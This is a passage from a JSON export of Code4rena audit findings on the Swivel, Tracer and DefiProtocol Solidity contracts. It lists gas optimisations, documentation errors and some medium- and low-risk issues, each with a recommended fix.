Line 124 of Swivel.sol describes the parameter `uint256 a`, but has wrong parameter name: `/// @param o Amount of volume (principal) being filled by the taker's exit` ## Impact No direct impact apart from code readability ## Proof of Concept Code snippet for function declaration + spec: ``` /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param o Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal ``` ## Recommended Mitigation Steps Change the second `o` to `a` "}, {"title": "Bytes constant more efficient than string literal", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-swivel-findings", "body": "Bytes constant more efficient than string literal"}, {"title": "token out of range check can be simplified", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Because 'token' is of type uint here, this comparison can be simplified to reduce gas costs: require(token == 0 || token == 1, \"Pool: token out of range\"); //before ## Recommended Mitigation Steps require(token < 2, \"Pool: token out of range\"); //after "}, {"title": "Useless multiplication by 1", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Uneccesarry multiplication by 1 here: require(initialization._fee < 1 * PoolSwapLibrary.WAD_PRECISION, \"Fee >= 100%\"); ## Recommended Mitigation Steps require(initialization._fee < PoolSwapLibrary.WAD_PRECISION, \"Fee >= 100%\"); "}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/33", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "Unused imports"}, {"title": "Immutable state variables", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There are variables that do not change so they can be marked as immutable to greatly improve the gast costs. Examples of such variables are: scaler and oracle in ChainlinkOracleWrapper, factory in PoolCommitterDeployer, poolName in LeveragedPool and there are many more. ## Recommended Mitigation Steps Consider applying 'immutable' to reduce gas costs. "}, {"title": "Unused state variables", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Unused state variables: ```solidity uint256 public constant BPT_TOKEN_PRECISION = 1e18; uint256 internal constant ETH_PRECISION = 1e18; uint32 public refundGasPrice; ``` Either remove them or use them where intended. "}, {"title": "BLOCK_TIME of Arbitrum is less than 13 seconds", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/30", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-10-tracer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact It is unclear why the block time is based on ETH mainnet 13s intervals, when in Arbitrum where these contracts are supposed to be deployed block times are faster: uint256 public constant BLOCK_TIME = 13; /* in seconds */ I wanted to ask this Tracer's representative on Discord but received no answer so submitting this and you can decide if that was intentional. "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/27", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "Adding unchecked directive can save gas"}, {"title": "`PoolKeeper.sol#performUpkeepSinglePool()` Wrong implementation allows attacker to interfere the upkeep of pools", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/26", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-10-tracer-findings", "body": "`PoolKeeper.sol#performUpkeepSinglePool()` Wrong implementation allows attacker to interfere the upkeep of pools"}, {"title": "Wrong keeper reward computation", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/23", "labels": ["bug", "sponsor confirmed", "2 (Med Risk)"], "target": "2021-10-tracer-findings", "body": "# Handle cmichel # Vulnerability details The `PoolKeeper.keeperReward` computation mixes WADs and Quads which leads to issues. 1. Note that `keeperTip` returns values where `1` = `1%`, and `100 = 100%`, the same way `BASE_TIP = 5 = 5%`. Thus `_tipPercent = ABDKMathQuad.fromUInt(keeperTip)` is a Quad value of this keeper tip, and not in \"wad units\" as the comment above it says. ```solidity // @audit \ud83d\udc47 this comment is not correct, it's in Quad units // tip percent in wad units bytes16 _tipPercent = ABDKMathQuad.fromUInt(keeperTip(_savedPreviousUpdatedTimestamp, _poolInterval)); ``` 2. Now the `wadRewardValue` interprets `_tipPercent` as a WAD + Quad value which ultimately leads to significantly fewer keeper rewards: It tries to compute `_keeperGas + _keeperGas * _tipPercent` and to compute `_keeperGas * _tipPercent` it does a wrong division by `fixedPoint` (1e18 as a quad value) because it think the `_tipPercent` is a WAD value (100%=1e18) as a quad, when indeed `100%=100`. It seems like it should divide by `100` as a quad instead. ``` ABDKMathQuad.add( ABDKMathQuad.fromUInt(_keeperGas), // @audit there's no need to divide by fixedPoint, he wants _keeperGas * _tipPercent and _tipPercent is a quad quad_99 / quad_100 ABDKMathQuad.div((ABDKMathQuad.mul(ABDKMathQuad.fromUInt(_keeperGas), _tipPercent)), ABDKMathQuad.fromUInt(100)) ) ``` ## Impact The keeper rewards are off as the `_keeperGas * _tipPercent` is divided by 1e18 instead of 1e2. Keeper will just receive their `_keeperGas` cost but the tip part will be close to zero every time. ## Recommended Mitigation Steps Generally, I'd say the contract mixes quad and WAD units where it doesn't have to do it. Usually, you either use WAD or Quad math but not both at the same time. This complicates the code. I'd make `keeperTip()` return a `byte16` Quad value as a percentage where `100% = ABDKMathQuad.fromUInt(1)`. This temporary float result can then be used in a different ABDKMathQuad computation. Alternatively, divide by 100 as a quad instead of 1e18 as a quad because `_tipPercent` is not a WAD value, but simply a percentage where `1 = 1%`. ```solidity ABDKMathQuad.add( ABDKMathQuad.fromUInt(_keeperGas), // @audit there's no need to divide by fixedPoint, he wants _keeperGas * _tipPercent and _tipPercent is a quad quad_99 / quad_100 ABDKMathQuad.div((ABDKMathQuad.mul(ABDKMathQuad.fromUInt(_keeperGas), _tipPercent)), ABDKMathQuad.fromUInt(100)) ) ``` "}, {"title": "Gas: Inefficient modulo computation", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle cmichel # Vulnerability details `PoolFactory.uint2str` computes `i % 10` as `uint8(_i - (_i / 10) * 10)`. This intuitively seems more gas-expensive than doing `i % 10`. Consider using `i % 10` instead which also makes the code simpler to read. "}, {"title": "Validate max fee", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/21", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-10-tracer-findings", "body": "# Handle cmichel # Vulnerability details `PoolFactory.setFee` does not check if the `_fee` parameter is at most 100%. ## Impact Setting a very high fee, even above 100%, will lead to the pool's funds being drained. ## Recommended Mitigation Steps Validate `_fee` against a reasonable max-fee value, ideally < 100%. "}, {"title": "No ERC20 `safeApprove` versions called", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/20", "labels": ["bug", "sponsor disputed", "1 (Low Risk)"], "target": "2021-10-tracer-findings", "body": "No ERC20 `safeApprove` versions called"}, {"title": "`uncommit` sends tokens to the wrong user", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/19", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2021-10-tracer-findings", "body": "`uncommit` sends tokens to the wrong user"}, {"title": "Deposits don't work with fee-on transfer tokens", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/17", "labels": ["bug", "sponsor disputed", "2 (Med Risk)"], "target": "2021-10-tracer-findings", "body": "Deposits don't work with fee-on transfer tokens"}, {"title": "Gas: `transferGovernance` can save an sload", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle cmichel # Vulnerability details The `LeveragedPool.transferGovernance` function emits an event and reads the new governance variable from storage. ```solidity emit ProvisionalGovernanceChanged(provisionalGovernance); ``` It is cheaper to use the `_governance` parameter instead which is the same value. "}, {"title": "Unsafe `int256` casts in `executePriceChange`", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/14", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-10-tracer-findings", "body": "Unsafe `int256` casts in `executePriceChange`"}, {"title": "Revert in `poolUpkeep`", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/13", "labels": ["bug", "sponsor disputed", "1 (Low Risk)"], "target": "2021-10-tracer-findings", "body": "Revert in `poolUpkeep`"}, {"title": "Gas: shadow pools are only required for burn types", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle cmichel # Vulnerability details The `PoolCommiter.shadowPools` track commitments for all four `Long/Short Mint/Burn` types and uses these to reconstruct the initial total supply to correctly compute the token amounts for the sequence of commitments (as short/long tokens already get burned in the commitment phase and reduced the total supply). However, the two burn types `LongBurn` and `ShortBurn` are all that's needed for the reconstruction which can be seen from the fact that `shadowPools[.]` is only accessed with them. #### Recommendation Only store `shadowPools` for `LongBurn` and `ShortBurn` types, and remove the `shadowPools[_commitType] = shadowPools[_commitType] - _commit.amount;` statement in `_uncommit` which is unnecessary for the mints as it just pays out what's already tracked in the commitments (`_commit`). "}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/11", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-10-tracer-findings", "body": "Missing parameter validation"}, {"title": "LeveragedPool has require statements which are also checked in library", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle loop # Vulnerability details When making external calls to ERC20 functions LeveragedPool checks for zero addresses. These checks are already available in the OpenZeppelin ERC20 implementation which is used. This results in redundant checks which increase gas costs when calling these functions. ## Proof of Concept Require statements used in LeveragedPool: - https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/LeveragedPool.sol#L148 - https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/LeveragedPool.sol#L163-L164 - https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/LeveragedPool.sol#L234 - https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/LeveragedPool.sol#L251 Checks in OpenZeppelin implementation: - https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L225-L226 - https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L252 - https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L275 ## Tools Used Remix "}, {"title": "Contradiction in comment/require statement", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/7", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)"], "target": "2021-10-tracer-findings", "body": "# Handle loop # Vulnerability details The comment for the `withdrawQuote()` function states 'Pool must not be paused'. Require statement requires paused to be true. ## Impact Comment seems to be wrong, so no direct impact on functioning of protocol. ## Proof of Concept Comment: https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/LeveragedPool.sol#L359 Require: https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/LeveragedPool.sol#L363 "}, {"title": "Unused Named Returns Can Be Removed", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Removing unused named return variables can reduce gas usage and improve code clarity. ## Proof of Concept The unused named return variables are here. ChainlinkOracleWrapper.sol: https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/ChainlinkOracleWrapper.sol#L57-L67 LeveragedPool.sol https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/LeveragedPool.sol#L327-L340 https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/LeveragedPool.sol#L353-L355 ## Tools Used Visual Studio Code ## Recommended Mitigation Steps Remove the unused named return variables or use them instead of creating additional variables. "}, {"title": "Minimize Storage Slots (LeveragedPool.sol)", "html_url": "https://github.com/code-423n4/2021-10-tracer-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tracer-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact It is possible to minimize the number of storage slots used by rearranging the state variables in a more efficient way. ## Proof of Concept In LeveragedPool.sol: https://github.com/tracer-protocol/perpetual-pools-contracts/blob/646360b0549962352fe0c3f5b214ff8b5f73ba51/contracts/implementation/LeveragedPool.sol#L22-L44 ## Tools Used Visual Studio Code ## Recommended Mitigation Steps Arrange the uint32, bytes32, and bool variables such that they fit into the same slot. "}, {"title": "Set initial value for lastFee", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function handleFees can become cheaper by eliminating this surrounding if/else statement if you initially assign the value to the lastFee upon creation or initialization. ## Recommended Mitigation Steps uint256 public override lastFee = block.timestamp; or in function initialize as it will get this value anyway when doing the initial mintTo. But then you would probably need to skip handleFees if the timeDiff is 0. "}, {"title": "Cache factory.ownerSplit()", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function handleFees calls factory.ownerSplit() twice. To save some gas and reduce the number of external calls, you should save the value after the first call and re-use it later. ## Recommended Mitigation Steps Cache factory.ownerSplit() in a local variable and re-use it. "}, {"title": "Cache basketAsERC20.totalSupply()", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Here basketAsERC20.totalSupply() does not change inside the loop so it can be called outside the loop to avoid multiple duplicate external calls: uint256 tokensNeeded = basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE; ## Recommended Mitigation Steps Cache basketAsERC20.totalSupply() in a temporary variable and re-use it. "}, {"title": "There may be no bounties or user is not interested in any of them", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function settleAuction could skip withdrawBounty if there are no bounties. ## Recommended Mitigation Steps if (bountyIDs.length > 0) { withdrawBounty(bountyIDs); } "}, {"title": "How much to approve before calling mintTo", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/86", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "How much to approve before calling mintTo"}, {"title": "createBasket re-entrancy", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/85", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function createBasket in Factory should also be nonReentrant as it interacts with various tokens inside the loop and these tokens may contain callback hooks. ## Recommended Mitigation Steps Add nonReentrant modifier to the declaration of createBasket. "}, {"title": "Validations", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/84", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-10-defiprotocol-findings", "body": "Validations"}, {"title": "Missing events for owner only functions that change critical parameters", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/82", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-10-defiprotocol-findings", "body": "# Handle defsec # Vulnerability details ## Impact Owner only functions that change critical parameters should emit events. Events allow capturing the changed parameters so that off-chain tools/interfaces can register such changes with timelocks that allow users to evaluate them and consider if they would like to engage/exit based on how they perceive the changes as affecting the trustworthiness of the protocol or profitability of the implemented financial services. The alternative of directly querying on-chain contract state for such changes is not considered practical for most users/usages. Missing events and timelocks do not promote transparency and if such changes immediately affect users\u2019 perception of fairness or trustworthiness, they could exit the protocol causing a reduction in liquidity which could negatively impact protocol TVL and reputation. There are owner functions that do not emit any events in UserManager.sol. ## Proof of Concept Missing events https://github.com/code-423n4/2021-10-union/blob/main/contracts/user/UserManager.sol#L156 https://github.com/code-423n4/2021-10-union/blob/main/contracts/user/UserManager.sol#L160 See similar High-severity H03 finding OpenZeppelin\u2019s Audit of Audius (https://blog.openzeppelin.com/audius-contracts-audit/#high) and Medium-severity M01 finding OpenZeppelin\u2019s Audit of UMA Phase 4 (https://blog.openzeppelin.com/uma-audit-phase-4/) ## Tools Used None ## Recommended Mitigation Steps Add events to all owner/admin functions that change critical parameters. "}, {"title": " Missing events for basket only functions that change critical parameters", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/81", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-10-defiprotocol-findings", "body": "# Handle defsec # Vulnerability details ## Impact Owner only functions that change critical parameters should emit events. Events allow capturing the changed parameters so that off-chain tools/interfaces can register such changes with timelocks that allow users to evaluate them and consider if they would like to engage/exit based on how they perceive the changes as affecting the trustworthiness of the protocol or profitability of the implemented financial services. The alternative of directly querying on-chain contract state for such changes is not considered practical for most users/usages. Missing events and timelocks do not promote transparency and if such changes immediately affect users\u2019 perception of fairness or trustworthiness, they could exit the protocol causing a reduction in liquidity which could negatively impact protocol TVL and reputation. There are basket functions that do not emit any events in Auction.sol. Missing event : https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/contracts/Auction.sol#L44 ## Proof of Concept See similar High-severity H03 finding OpenZeppelin\u2019s Audit of Audius (https://blog.openzeppelin.com/audius-contracts-audit/#high) and Medium-severity M01 finding OpenZeppelin\u2019s Audit of UMA Phase 4 (https://blog.openzeppelin.com/uma-audit-phase-4/) ## Tools Used ## Recommended Mitigation Steps Add events to all owner/admin functions that change critical parameters. "}, {"title": "Sensitive variables should not be able to be changed easily", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/80", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Sensitive variables should not be able to be changed easily"}, {"title": "Fee on transfer tokens do not work within the protocol", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/78", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Fee on transfer tokens do not work within the protocol"}, {"title": "Lack of Documentation on key functions", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/77", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Lack of Documentation on key functions"}, {"title": "Input Validation on Factory.sol", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/75", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Input Validation on Factory.sol"}, {"title": "Increase optimizer runs", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Increase optimizer runs"}, {"title": "Remove hardhat import", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/73", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Remove hardhat import"}, {"title": "uint256 can be lowered to unitX with X < 256 in some cases", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "uint256 can be lowered to unitX with X < 256 in some cases"}, {"title": "Unchecked modifiers should be used when over/under-flow isnt an issue to save gas", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Unchecked modifiers should be used when over/under-flow isnt an issue to save gas"}, {"title": "Uninitialized variables are automatically set to 0", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Uninitialized variables are automatically set to 0"}, {"title": "`Basket.sol` should use the Upgradeable variant of OpenZeppelin Contracts", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "`Basket.sol` should use the Upgradeable variant of OpenZeppelin Contracts"}, {"title": "`Basket.sol#changePublisher()` Remove redundant assertion can save gas", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/contracts/Basket.sol#L147-L152 ```solidity function changePublisher(address newPublisher) onlyPublisher public override { require(newPublisher != address(0)); if (pendingPublisher.publisher != address(0) && pendingPublisher.publisher == newPublisher) { require(block.number >= pendingPublisher.block + TIMELOCK_DURATION); publisher = newPublisher; ``` `pendingPublisher.publisher` will never be `address(0)` if `newPublisher != address(0)` and `pendingPublisher.publisher == newPublisher`. Removing `pendingPublisher.publisher != address(0)` can make the code simpler and save some gas. ### Recommendation Remove the redundant assertion. "}, {"title": "Basket: No need for initialized variable", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Basket: No need for initialized variable"}, {"title": "`Basket.sol#changeLicenseFee()` Remove redundant check can save gas", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details `Basket.sol#changeLicenseFee()` checks for `pendingLicenseFee.licenseFee != 0`, while the assertion above already making sure that `newLicenseFee >= factory.minLicenseFee()`. If we can make sure `factory.minLicenseFee() > 0`, then the check of `pendingLicenseFee.licenseFee != 0` will be redundant. Removing it will make the code simpler and save some gas. https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/contracts/Basket.sol#L167-L170 ```solidity function changeLicenseFee(uint256 newLicenseFee) onlyPublisher public override { require(newLicenseFee >= factory.minLicenseFee() && newLicenseFee != licenseFee); if (pendingLicenseFee.licenseFee != 0 && pendingLicenseFee.licenseFee == newLicenseFee) { require(block.number >= pendingLicenseFee.block + TIMELOCK_DURATION); ``` https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/contracts/Factory.sol#L39-L41 ```solidity function setMinLicenseFee(uint256 newMinLicenseFee) public override onlyOwner { minLicenseFee = newMinLicenseFee; } ``` ### Recommendation Consider adding `require(newMinLicenseFee > 0);` to `Factory.sol#setMinLicenseFee()`. Remove the redundant check. "}, {"title": "`Basket.sol#changePublisher()` Insufficient input validation", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details As per the test, changePublisher to the current publisher should not be allowed: https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/test/Basket.test.js#L122-L122 ```javascript let publisher = await basket.publisher(); expect(publisher).to.equal(addr2.address); await expect(basket.connect(addr2).changePublisher(addr2.address)).to.be.reverted; ``` However, there is no such check to make sure that. https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/contracts/Basket.sol#L147-L148 ```solidity function changePublisher(address newPublisher) onlyPublisher public override { require(newPublisher != address(0)); ``` ### Recommendation Change to: ```solidity function changePublisher(address newPublisher) onlyPublisher public override { require(newPublisher != address(0) && newPublisher != publisher); ``` "}, {"title": "`Basket.sol` should have methods to cancel pending changes", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details While changing publisher and licenseFee is timelocked, there are no methods to cancel pending changes. As a result, wrong changes may not be able to get canceled https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/contracts/Basket.sol#L147-L163 ```solidity function changePublisher(address newPublisher) onlyPublisher public override { require(newPublisher != address(0)); if (pendingPublisher.publisher != address(0) && pendingPublisher.publisher == newPublisher) { require(block.number >= pendingPublisher.block + TIMELOCK_DURATION); publisher = newPublisher; pendingPublisher.publisher = address(0); emit ChangedPublisher(publisher); } else { pendingPublisher.publisher = newPublisher; pendingPublisher.block = block.number; emit NewPublisherSubmitted(newPublisher); } } ``` https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/contracts/Basket.sol#L167-L182 ```solidity function changeLicenseFee(uint256 newLicenseFee) onlyPublisher public override { require(newLicenseFee >= factory.minLicenseFee() && newLicenseFee != licenseFee); if (pendingLicenseFee.licenseFee != 0 && pendingLicenseFee.licenseFee == newLicenseFee) { require(block.number >= pendingLicenseFee.block + TIMELOCK_DURATION); licenseFee = newLicenseFee; pendingLicenseFee.licenseFee = 0; emit ChangedLicenseFee(licenseFee); } else { pendingLicenseFee.licenseFee = newLicenseFee; pendingLicenseFee.block = block.number; emit NewLicenseFeeSubmitted(newLicenseFee); } } ``` ### Recommendation Consider adding methods to cancel pending changes. "}, {"title": "`Basket.sol#mint()` Malfunction due to extra `nonReentrant` modifier", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/contracts/Basket.sol#L83-L88 ```solidity function mint(uint256 amount) public nonReentrant override { mintTo(amount, msg.sender); } function mintTo(uint256 amount, address to) public nonReentrant override { require(auction.auctionOngoing() == false); ``` The `mint()` method is malfunction because of the extra `nonReentrant` modifier, as `mintTo` already has a `nonReentrant` modifier. ### Recommendation Change to: ```solidity function mint(uint256 amount) public override { mintTo(amount, msg.sender); } ``` "}, {"title": "Tests are broken", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/58", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Tests are broken"}, {"title": "Unnecessary new list in Basket's validateWeights()", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details # Vulnerability details The function creates and populates a new array to check for duplicates, this is not necessary. ## Impact Some amount of gas unnecessarily spent. ## Proof of Concept The relevant area: https://github.com/code-423n4/2021-10-defiprotocol/blob/main/contracts/contracts/Basket.sol#L71:#L80 ## Tools Used Manual analysis, hardhat gas estimator. ## Recommended Mitigation Steps Change the check to the following: ``` for (uint i = 0; i < length; i++) { require(_tokens[i] != address(0)); require(_weights[i] > 0); for (uint256 x = 0; x < i; x++) { require(_tokens[i] != _tokens[x]); } } ``` "}, {"title": "Restore state to 0 if not needed anymore", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Restore state to 0 if not needed anymore"}, {"title": "Auction bonder can steal user funds if bond block is high enough", "html_url": 